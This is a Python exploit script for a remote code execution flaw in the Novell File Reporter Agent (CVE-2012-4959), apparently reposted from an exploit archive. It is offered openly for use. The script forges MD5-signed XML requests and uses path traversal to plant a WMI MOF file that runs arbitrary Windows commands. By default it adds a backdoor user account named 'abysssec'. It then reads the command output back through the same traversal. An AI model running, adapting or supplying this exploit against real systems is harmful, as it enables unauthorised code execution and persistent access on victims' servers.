Novell File Reporter Agent XML Parsing Remote Code Execution

# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit
 
import httplib, md5, sys
 
def message_MD5(arg):
    v = "SRS" + arg + "SERVER"
    m = md5.new(v)
    return m.hexdigest()
 
def genMof(command="net user abysssec 123456 /add"):       
     
    vbs = ""
    vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
    vbs += "\"objShell.Run \\\"cmd.exe /C "
    vbs += command
    vbs += "\\\"\""
 
 
    mof = """
    #pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
    #pragma deleteclass("MyASEventConsumer", nofail)
    #pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
    #pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)
 
    class MyASEventConsumer
    {
        [key]string Name;
    };
 
    instance of ActiveScriptEventConsumer as $CONSUMER
    {
        CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
        Name = "ASEC";
        ScriptingEngine = "VBScript";   
        ScriptText =
    SCRIPT;
    };
 
    instance of __EventFilter as $FILTER
    {
        CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
        Name = "EF";
        Query = "SELECT * FROM __InstanceCreationEvent"
            " WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
        QueryLanguage = "WQL";
    };
 
    instance of __FilterToConsumerBinding as $BINDING
    {
        CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
        Filter = $FILTER;
        Consumer = $CONSUMER;
    };
 
    instance of MyASEventConsumer
    {
         Name = "Trigger";
    };
    """.replace('SCRIPT',vbs)
 
    return mof
 
def main(argv=None):
    if argv is None:
        argv = sys.argv
     
    if len(argv) != 2:
        print "[!] USAGE : mof \"<command]>\""
        return
     
    msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
    msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
    msg += "]]></ROOT>"
    body = message_MD5(msg).upper() + msg
    headers = {"Content-type": "text/xml"}
     
    conn = httplib.HTTPSConnection("192.168.10.20:3037")           
    conn.request("POST", "/SRS/CMD",body, headers)
    response = conn.getresponse()
    print "\n...Command Executed ..."
    print response.status, response.reason
     
    print response.read()
     
    msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
    body = message_MD5(msg).upper() + msg
    conn.request("POST", "/SRS/CMD",body, headers)
    response = conn.getresponse()
    conn.request("POST", "/SRS/CMD",body, headers)
    response = conn.getresponse()
    print "\n...Getting result ..."
    print response.status, response.reason 
    print response.read()
     
     
    conn.close()
 
 
if __name__ == "__main__":
    main()

#  0day.today [2018-02-19]  #